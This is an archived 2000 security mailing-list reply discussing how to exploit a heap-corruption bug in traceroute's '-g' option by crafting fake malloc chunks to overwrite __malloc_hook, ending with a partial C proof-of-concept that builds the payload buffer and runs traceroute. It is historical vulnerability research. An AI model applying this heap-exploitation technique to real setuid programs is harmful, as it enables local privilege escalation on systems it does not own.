|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Subject: Re: Traceroute exploit details
From: Harrington, Perry (pedward
WEBCOM.COM)Date: Tue Oct 03 2000 - 15:12:34 CDT
- Next message: Roelof Temmingh: "WAP & HTTP->WTP"
- Previous message: Daniel Jacobowitz: "Re: Traceroute exploit details"
- In reply to: Daniel Jacobowitz: "Re: Traceroute exploit details"
- Reply: Harrington, Perry: "Re: Traceroute exploit details"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
>
> [I'm moving this over to vuln-dev...]
Got it, I'm there now.
> > if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
>
> That's the problem right there, if I recall correctly. We have to have
> the next chunk in reachable memory, which constrains the size - I don't
That's where the 'chunk_size' of rogue2 comes in, it's 0xFFFFFF01, which
wraps around when pointer arithmetic is done to it. The 0x01 is XORed to
0 when PREV_INUSE is checked. Since we don't want it to back-consolidate,
it's set to 1. This wraps around to exactly the current location - 0xFF.
> think anything is in reachable memory on a little-endian machine, where
> the next chunk size comes immediately before a chunk being free()'d,
> and thus in this case must end with a null terminating byte.
>
> > To make this exercise work, we would need 2 rogue malloc_chunks: rogue1 a=
> nd rogue2.
> >=20
> > The fd and bk pointers in malloc_chunk could be used for the overflow:
>
> Nope. You're misunderstanding malloc_chunk's use. Look at the
> definition of mem2chunk: fd and bk are on the free list, and malloc
> only looks at them if it assumes they are free. The chunk only starts
> 2 * sizeof(INTERNAL_SIZE_T) before the pointer given, not
> sizeof(malloc_chunk) as you assumed.
But free doesn't care. It does a cast to get the 2 extra pointers. The rogue2
block is probably wrong, it should just be 4 bytes of garbage and the size
0xFFFFFF01, which would make it purport to be a real malloc block. chunk_free
checks the block adjacent to it, 256 bytes below the current block, which DOES
appear to be a free list block, so the pointers DO work.
>
> > In rogue 1, it would have the following values:
> >=20
> > prev_size =3D "CCCC"
> > size =3D "CCCC"
> > fd =3D __malloc_hook - 12
> > bk =3D 0x804cd7a + 0x20 (our rogue code)
> >=20
> > In rogue 2, it would have the following values:
> >=20
> > prev_size =3D "CCCC" (dead value)
> > size =3D 0xFFFFFF01 (0xFFFFFF00 & 0x01 (PREV_INUSE)
> > fd =3D "CCCC" (dead unused value)
> > bk =3D "CCCC" (dead unused value)
>
> You could make such chunks, hypothetically, but you'd be freeing a
> chunk #3 after the both of them.
Nope, because the PREV_INUSE bit is set to 1 on both, so it's only going
to hop to the rogue1 chunk. And because we left some dummy space
directly after the rogue1 chunk, it writes to harmless memory.
> > The first '-g' argument would look like this:
> >=20
> > offset value
> > 0x00 "CCCC"
> > 0x04 "CCCC"
> > 0x08 __malloc_hook - 12
> > 0x0C 0x804cd7a + 0x0F
> > 0x10 jmp +0x0F
> > |
> > | garbage
> > |
> > 0x1F
> > 0x20
> > |
> > | code to execute
> > |
> > 0xF0 "CCCC"
> > 0xF4 0xFFFFFF01
> > 0xF8 "CCCC"
> > 0xFC "CCCC"
>
> It's not at all easy to get that into a -g argument: (a) you need to
> put the code somewhere else, there's a 64char or so length limit on -g
> (b) there's character set restrictions.
The REAL limit turns out to be getopt. It breaks the args on whitespace,
if it didn't, inet_addr would return 1 and savestr would be called. The
limit is MAXHOSTNAMELEN, 256 bytes in the code. As long as the complete
argument isn't >= MAXHOSTNAMELEN, it passes that check. Inet_addr has
a check for validity which chokes our code:
/*
* Check for trailing characters.
*/
if (c != '\0' && (!isascii(c) || !isspace(c)))
goto ret_0;
So if you use a space, getopt only returns "1.1.1.1" as the arg to '-g'.
That's the delemma.
>
> Also, as above, you're wrong about what goes where. Note that the high
> 0xFF in the size will be forced to a zero, and the CCCC's are unneeded.
Umm, what do you mean? How is it forced to 0? We put the data in the struct
in the correct order and LSB swapping does the rest for us, see the attached
sample exploit for clarification.
>
> You're trying to get chunk 1 and 2 consolidated; you can't do that.=20
> This would work if you had some way to put data in memory just after
> the unallocated area you try to free(), but in this case there's no way
> to.
I don't have to put data in memory, I just have to trick free into reading
my memory block.
savestr allocates our memory like this:
0x00 ------ first -g argument ------ 0xFE 0xFF ----- second -g argument ----->
You give it a valid value for the second argument, since it tries to call free
in the middle of the memory chunk, it reads (second -g arg) - 0x08 and looks
at it's size, goes and looks at (second -g arg) + chunk_size to get the
adjacent malloc_chunk to see if it should consolidate forward, it encounters
our bogus free block at the beginning of (first -g arg) and reads the pointers
out. Since we are modifying __malloc_chunk and (first -g arg) + 0x0F, it
doesn't go anywhere from there. (first -g arg) is the 'next' reference in
the chunk_free code.
>
> Dan
>
If that still seems wrong, you will have to elaborate a bit more.
Below is my sample exploit I was trying.
--Perry
#include <stdio.h>
#include <unistd.h>
#include <string.h>
extern void *__malloc_hook;
typedef struct glue {
int a;
int b;
void *p;
void *q;
} glue;
int main(void)
{
int ipa=0x2E312E31;
int ipb=0x20312E31;
int dummy=0x43434343;
void *mh=(void **)__malloc_hook;
void *us=(void *)0x804cd7a;
char buf[260];
char *prog="/tmp/traceroute";
glue temp;
FILE *out;
printf ("malloc_hook %x code %x\n",mh, usage);
memset(buf, 0x47,256);
buf[255]='\0';
printf ("buf: %s\n", buf);
temp.a=ipa;
temp.b=ipb;
temp.p=mh;
temp.q=us+16;
memcpy(buf, (void *)&temp,16);
printf ("buf: %s\n", buf);
temp.p=(void *)dummy;
temp.q=(void *)dummy;
temp.a=dummy;
temp.b=0xFFFFFF01;
printf("code(%d)\n", sizeof(code));
strncpy(buf+16, code, sizeof(code) -1);
memcpy(buf+240, (void *)&temp, 0x10);
printf ("buf: %s\n", buf);
buf[254]='\0';
out=fopen("/tmp/code","w");
fputs(buf,out);
fclose(out);
execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL);
return 0;
}
-- Perry Harrington Director of zelur xuniL () perrywebcom.com System Architecture Think Blue. /\
- Next message: Roelof Temmingh: "WAP & HTTP->WTP"
- Previous message: Daniel Jacobowitz: "Re: Traceroute exploit details"
- In reply to: Daniel Jacobowitz: "Re: Traceroute exploit details"
- Reply: Harrington, Perry: "Re: Traceroute exploit details"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]